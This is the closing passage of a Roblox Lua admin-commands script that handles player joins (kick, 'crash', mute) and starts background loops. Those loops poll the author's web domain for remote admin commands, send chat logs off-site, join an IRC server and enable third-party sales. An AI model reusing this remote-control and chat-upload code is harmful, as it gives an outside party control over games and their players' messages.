8906 CORE:Kick(Player)
8907 for _,Person in pairs(Server.Players:GetPlayers()) do
8908 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8909 end
8910 end
8911 end
8912 for _,Name in pairs(Settings.Ranks.Crashed) do
8913 if Player.Name == Name then
8914 CORE:Crash(Player)
8915 for _,Person in pairs(Server.Players:GetPlayers()) do
8916 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8917 end
8918 end
8919 end
8920 for _,Name in pairs(Settings.Ranks.Muted) do
8921 if Player.Name == Name then
8922 GUI:CoreGui(Player, "Chat", false)
8923 for _,Person in pairs(Server.Players:GetPlayers()) do
8924 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8925 end
8926 end
8927 end
8928 if Settings.ServerLocked == true then
8929 if PlayerAdmin == false then
8930 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8931 end
8932 end
8933
8934 if PlayerAdmin == false then
8935 if Player.AccountAge < Settings.MinimumAge then
8936 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8937 for _,Person in pairs(Server.Players:GetPlayers()) do
8938 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8939 end
8940 end
8941 end
8942
8943 if PlayerAdmin == false then
8944 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8945 table.insert(Settings.Ranks["Member"], Player.Name)
8946 PlayerAdmin = true
8947 Rank = "Member"
8948 end
8949 end
8950
8951 coroutine.wrap(function()
8952 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8953 local function SpawnActions(Character)
8954 if Flings[Player.Name] then
8955 CORE:FlingPlayer(Player)
8956 else
8957 GUI:CreateTaskBar(Player)
8958 end
8959 if Beeps[Player.Name] == true then
8960 SOUND:BeepPlayer(Player)
8961 end
8962 if Jails[Player.Name] then
8963 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8964 end
8965 if PermCommandBars[Player.Name] then
8966 GUI:CommandBar(Player)
8967 end
8968 end
8969 Player.CharacterAdded:connect(SpawnActions)
8970 SpawnActions(Player.Character)
8971 end)()
8972
8973 coroutine.wrap(function()
8974 Player:WaitForChild("PlayerGui")
8975 local Sounds = {}
8976 for _,Data in pairs(TextConverter.LetterSounds) do
8977 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8978 Sound:Play()
8979 table.insert(Sounds, Sound)
8980 end
8981 for _,Data in pairs(TextConverter.LongVowels) do
8982 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8983 Sound:Play()
8984 table.insert(Sounds, Sound)
8985 end
8986 wait(5)
8987 for _,Sound in pairs(Sounds) do
8988 Sound:Destroy()
8989 end
8990 Sounds = {}
8991 end)()
8992
8993 coroutine.wrap(function()
8994 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8995 if IsSB then
8996 wait(1)
8997 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8998 end
8999 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9000 print("Executed ClientLog on "..Player.Name)
9001 if Settings.EnableTaskBar then
9002 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9003 end
9004 end)()
9005
9006 coroutine.wrap(function()
9007 wait(7)
9008 Player:WaitForChild("PlayerGui")
9009 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9010 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9011 if Answer == "Ok" then
9012 MARKET:PromptPurchase(Player, AdminID)
9013 end
9014 end
9015 end)()
9016 end
9017end)() end
9018
9019-- Active stuff --
9020
9021CORE:UpdateAdmin()
9022CORE:FixSettings()
9023
9024ypcall(function()
9025 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9026 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9027 end
9028end)
9029
9030
9031Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9032 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9033 if PlayerAdmin == false then
9034 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9035 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9036 end
9037end end)
9038
9039--[[
9040ExecuteCommand.OnInvoke = function(Player, Command)
9041 if Player and Command then
9042 if type(Player) == "userdata" and Player:IsA("Player") then
9043 CORE:Chatted(Command, Player, true)
9044 end
9045 end
9046end
9047
9048ExecuteCode.OnInvoke = function(Source, Speaker)
9049 if type(Source) == "string" then
9050 ExecuteSafe(Source, Speaker)
9051 end
9052end
9053
9054ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9055 if Player and Command then
9056 if type(Player) == "userdata" and Player:IsA("Player") then
9057 CORE:Chatted(Command, Player, true)
9058 end
9059 end
9060end
9061]]
9062
9063KeyPressed.OnServerInvoke = function(Player, Key)
9064 if Player and Key then
9065 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9066 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9067 end
9068 end
9069end
9070
9071InputKey.OnServerInvoke = function(Player, KeyVal)
9072 if Player and KeyVal then
9073 if LastKeys[Player.UserId] then
9074 table.insert(LastKeys[Player.UserId], KeyVal)
9075 if #LastKeys[Player.UserId] > 20 then
9076 table.remove(LastKeys[Player.UserId], 1)
9077 end
9078 end
9079 end
9080end
9081
9082RankPlayerLocal.OnServerInvoke = function(Player)
9083 wait()
9084 local Request = PendingRequests[Player]
9085 if Request then
9086 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9087 if Settings.Ranks[Request[1]] then
9088 PendingRequests[Player] = nil
9089 table.insert(Settings.Ranks[Request[1]], Player.Name)
9090 GUI:TellAdmin(Player)
9091 end
9092 end
9093 end
9094end
9095
9096RankPlayerServer.OnInvoke = function(Player, Rank)
9097 if not RANK:IsAdmin(Player) then
9098 PendingRequests[Player] = {Rank, tick()}
9099 end
9100end
9101
9102IsAdmin.OnServerInvoke = function(Player)
9103 local IsFullAdmin = false
9104 for _,PName in pairs(Settings.Ranks["Owner"]) do
9105 if PName == Player.Name then IsFullAdmin = true end
9106 end
9107 for _,PName in pairs(Settings.Ranks["Admin"]) do
9108 if PName == Player.Name then IsFullAdmin = true end
9109 end
9110 return IsFullAdmin
9111end
9112
9113AddExploit.OnServerInvoke = CORE.AddExploit
9114AddExploitServer.OnInvoke = CORE.AddExploit
9115
9116KickClient.OnServerInvoke = function(PlayerClient)
9117 PlayerClient:Kick()
9118end
9119
9120ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9121 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9122end
9123
9124for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9125Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9126Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9127
9128coroutine.wrap(function()
9129 for _,ID in pairs(Icons) do
9130 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9131 end
9132end)()
9133
9134CORE:SetAbuseCommands()
9135
9136if not IsStudio then coroutine.wrap(function()
9137 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9138 REMOTE:GetRemoteData(true)
9139 REMOTE:CheckTrelloInfo()
9140 coroutine.wrap(function()
9141 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9142 REMOTE.RemoteConnection = true
9143 end
9144 end)()
9145 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9146 coroutine.wrap(function()
9147 if Settings.LinkedAccount ~= "" then
9148 local Request = nil
9149 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9150 if Request then
9151 REMOTE:HandleRequest(Request, true)
9152 end
9153 end
9154 end)()
9155 coroutine.wrap(function()
9156 wait(RemoteData.RemoteAdminWait)
9157 while REMOTE:GetAndSetWebData() do
9158 wait(RemoteData.RemoteAdminWait)
9159 end
9160 end)()
9161 coroutine.wrap(function()
9162 while wait(60) do
9163 REMOTE:GetRemoteData(true)
9164 REMOTE:CheckTrelloInfo()
9165 end
9166 end)()
9167end)() end
9168coroutine.wrap(function()
9169 if Settings.TrelloToken ~= "" then
9170 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9171 if #Trello.RequiredLists > 0 then
9172 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9173 if Trello.MainBoard.name then
9174 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9175 REMOTE:TrelloCacheData(Lists)
9176 REMOTE:TrelloHandleData(true)
9177 coroutine.wrap(function()
9178 wait(RemoteData.TrelloWait)
9179 while REMOTE:TrelloHandleData() do
9180 wait(RemoteData.TrelloWait)
9181 end
9182 end)()
9183 end
9184 end
9185 else
9186 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9187 end
9188end)()
9189coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9190 REMOTE:SendChatLog()
9191end end)()
9192coroutine.wrap(function() while true do
9193 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9194 if ThisDate then Date = ThisDate end
9195 wait(600)
9196end end)()
9197
9198print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")